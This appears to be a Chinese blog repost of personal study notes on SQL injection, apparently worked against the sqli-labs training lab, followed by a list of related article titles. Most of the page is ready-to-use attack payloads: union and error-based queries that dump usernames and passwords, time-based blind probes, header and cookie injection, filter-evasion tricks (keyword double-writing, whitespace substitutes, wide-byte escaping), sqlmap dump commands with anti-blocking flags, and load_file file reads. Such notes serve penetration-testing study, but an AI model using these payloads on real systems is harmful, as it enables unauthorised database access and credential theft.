当前位置: 首页 > news >正文

sql注入基础

联合注入

空格 %20或+
井号 # %23
换行符 %0a
" %22
?id=1’–+
?id=1’ order by 3–+
?id=-1’ union select 1,2,3–+
?id=-1’ union select 1,version(),databse()–+
?id=-1’ union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())–+
?id=-1’ union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘’)–+
?id=-1’ union select 1,database(),group_concat(username,‘;’,password) from users–+

数字型注入

?id=1 order by 3–+

id的闭合方式为’)
?id=1’)union select 1,2,3–+
闭合方式为"$id"
?id=1"

报错注入

updatexml(XML_document,XPath_string,new_value)必须为三个参数
extractvalue(XML_document,xpath_string必须为两个参数

updatexml

![[Pasted image 20260420223934.png|706]]

?id=1' --+ ?id=1" --+ ?id=1') --+ ?id=1") --+

发现没有回显账号密码
?id=1’ and updatexml(1,0x7e,1)–+
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)–+
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘user’)),1)–+
?id=1’ and updatexml(1,concat(0x7e,(select concat(username,‘;’,password) from users limit 0,1)),1)–+
使用limit逐条爆破

extractvalue

?id=1" and extractvalue(1,concat(0x7e,(select concat(username,‘:’,password) from users limit 0,1)))–+

sqlmap的使用

–batch表示碰到选择时选用默认选项,–dbs表示爬取所有数据库名
-D 库名 --tables表示爬取某数据库下的所有表
-D 库名 -T 表名 --columns表示爬取某库下某表的所有列
直接使用数据包
sqlmap -r aaa.txt --batch
post报错注入
-r 读取文件
sqlmap -r post.txt --technique E --batch
–random-agent 防简单拦截
sqlmap -r test.txt --random-agent --batch -D security -T users --columns --dump

sqlmap -u "http://192.168.22.3:8080/Less-7/?id=" --dbs sqlmap -u "http://192.168.22.3:8080/Less-7/?id=" -D 'security' --tables sqlmap -u "http://192.168.22.3:8080/Less-7/?id=" -D 'security' -T users --columns sqlmap -u "http://192.168.22.3:8080/Less-7/?id=" -D 'security' -T users -C username,password --dump --batch

延时注入

页面加载变慢说明存在延时注入
?id=1’ and if(1,sleep(5),1)–+
判断数据库长度
?id=1’ and if(length(database())=8,sleep(5),1)–+
逐个猜数据库
?id=1’ and if(ascii(mid(database(),1,1))=115,sleep(),1)–+

User-Agent头注入

![[Pasted image 20260422154230.png]]
通过闭合方式猜测可能是insert语句,可尝试拼接
’ and extractvalue(1,concat(0x7e,database())) and’

Referer注入

和上面相同

cookies注入

![[Pasted image 20260422160624.png]]
加’发现limit,直接用union进行注入
![[Pasted image 20260422161221.png]]
发现cookies被加密,只需要将注入的命令进行base64加密在写入进去就行

注释被过滤

方法一

采用闭合拼接的方式
?id=’ or extractvalue(1,concat(0x7e,database())) or’

方法二

;%00替换注释

;结束sql
%00空字符截断,防止后面的内容被解析
组合:强制结束语句 + 截断后续代码

二次注入

第一次注入:恶意语句存入数据库
第二次调用:数据库里的恶意内容被执行,触发漏洞
比如用户提交用户名为admin’#
当修改这个账户的密码时,这个sql语句就会执行
此时的sql语句为
UPDATE users SET PASSWORD=‘12345’ where username=‘admin’#’ and password=‘123456’

or或and被过滤

or可写为||
and写为&&

注意information中的or要双写,password

?id=1'||updatexml(1,concat(0x7e,database()),1)--+ ?id=1'||extractvalue(1,concat(0x7e,user()))--+
#:URL 锚点,不传给后端,注释失效 --+:URL 安全的 MySQL 注释,完整传到后端,完美闭合尾部引号

空格被过滤

- %09 水平制表符 - %0a 换行符 - %0b 垂直制表符 - %0c 换页符 - 0d 回车符 - /**/ 内联注释

都可以用来替代空格
?id=-1%27||updatexml(1,concat(0x7e,database()),1);%00

union和select被过滤

双写绕过

union ununionion
select seselectlect

内联注释绕过

uni/**/on sele/**/ct

大小写绕过

Union
SelEcT

url编码绕过

%55%6E%69%6F%6E = union

特殊字符加空白符绕过

%0b%0c%09插中间
uni%0bon
sele%0bct

?id=0%27ununionion%0aSelEcT%0a1,2,3;%00
?id=0%27)%0aunion%0aseunion%0aselectlect%0a1,2,3;%00

宽字节注入

  • 正常转义:'\'(URL:%27 → %5c%27
  • 攻击者构造:%df'
  • PHP 转义后:%df%5c%27
  • MySQL GBK 解析:
    • %df + %5c= 合法汉字 運(转义符被吃掉
    • 剩下独立%27→ 单引号成功逃逸、闭合 SQL

只要首字节 > 128,都能吃掉%5c%df、%e0、%e1、%e2...%fe通用

?id=-1%df%5c%27%20union%20select%201,2,3--+

堆叠注入

联合注入union select 只能查数据
堆叠注入 ;第二条sql语句 能够进行增删改查

order by注入

order by不支持union联合查询
常用 报错注入 时间延时盲注 布尔盲注
主要使用sort参数
最常用的

sort=1 and (updatexml(1,concat(0x7e,database()),1))

使用sort=rand(true)和sort=rand(false)判断是否为数字型注入,不同就是数字型注入

使用select load_file()读取文件内容

http://www.jsqmd.com/news/695843/

相关文章:

  • Weka回归分析实战:从数据预处理到模型部署
  • 月入5万的副业,往往从这3个不起眼的“信息差”开始
  • 从黑客视角看安全:一文带你读懂“渗透测试”的方方面面
  • ROS2 Navigation2避障测试:手把手教你用自定义PointCloud2模拟激光雷达数据
  • 2026乐山特色麻辣烫选店指南:8项核心判别技术维度 - 优质品牌商家
  • Go 的 maps.Copy:复制个 Map,居然也能又这么多坑
  • 基于Vercel AI SDK与Slack Bolt构建智能聊天机器人实战指南
  • 015-016 类中方法中的this,解决类中this指向问题
  • 互联网大厂 Java 求职面试:音视频场景中的技术问答
  • Keil ”品“(Manage Project Items)功能介绍
  • PyTorch实现Transformer英法机器翻译系统
  • 华为交换机实战:从办公室网络隔离到服务器互通,一套配置搞定Access、Trunk、Hybrid混合组网
  • Go语言高性能HTTP路由器Chipper:零依赖轻量级路由解决方案
  • C++:模板精讲
  • Aetina AIE-CP1A-A1边缘AI系统解析与工业应用
  • CUDA 13.0与Jetson Thor平台:边缘计算新纪元
  • YOLOv8炼丹笔记:用ECA注意力模块提升小目标检测精度(附三种YAML配置)
  • Pytest及相关测试工具实战指南
  • ChatGPT Images 2.0 技术升级与全场景落地实操指南
  • 深度学习实现图像自动描述生成的技术解析
  • Linux kernel 5.10+下C++ MCP网关偶发丢包率突增300%?eBPF trace发现glibc malloc隐式锁争用黑洞
  • 云服务器配置远程桌面
  • AI 多智能体 Agent+Unity 虚拟仿真:数字孪生 3D 场景智能调度教程
  • 神经形态硬件在强化学习机器人控制中的低功耗实践
  • 我们有最牛的数据系统,却输给了一个“没人回复的推送”
  • DeepEar开源对话系统:从语音识别到多轮对话的完整实践指南
  • VSCode实时协作优化进入深水区:E2E加密延迟、光标冲突消解算法、离线变更合并队列——这3个底层机制你必须今天就掌握
  • Hyperf 开箱即用的多语言、多币种、多时区、国际支付、全球物流PHP标准化组件
  • 【进程间通信】————匿名管道、模拟实现进程池
  • NREL风速数据API参数详解:从wkt坐标到interval间隔,新手避坑指南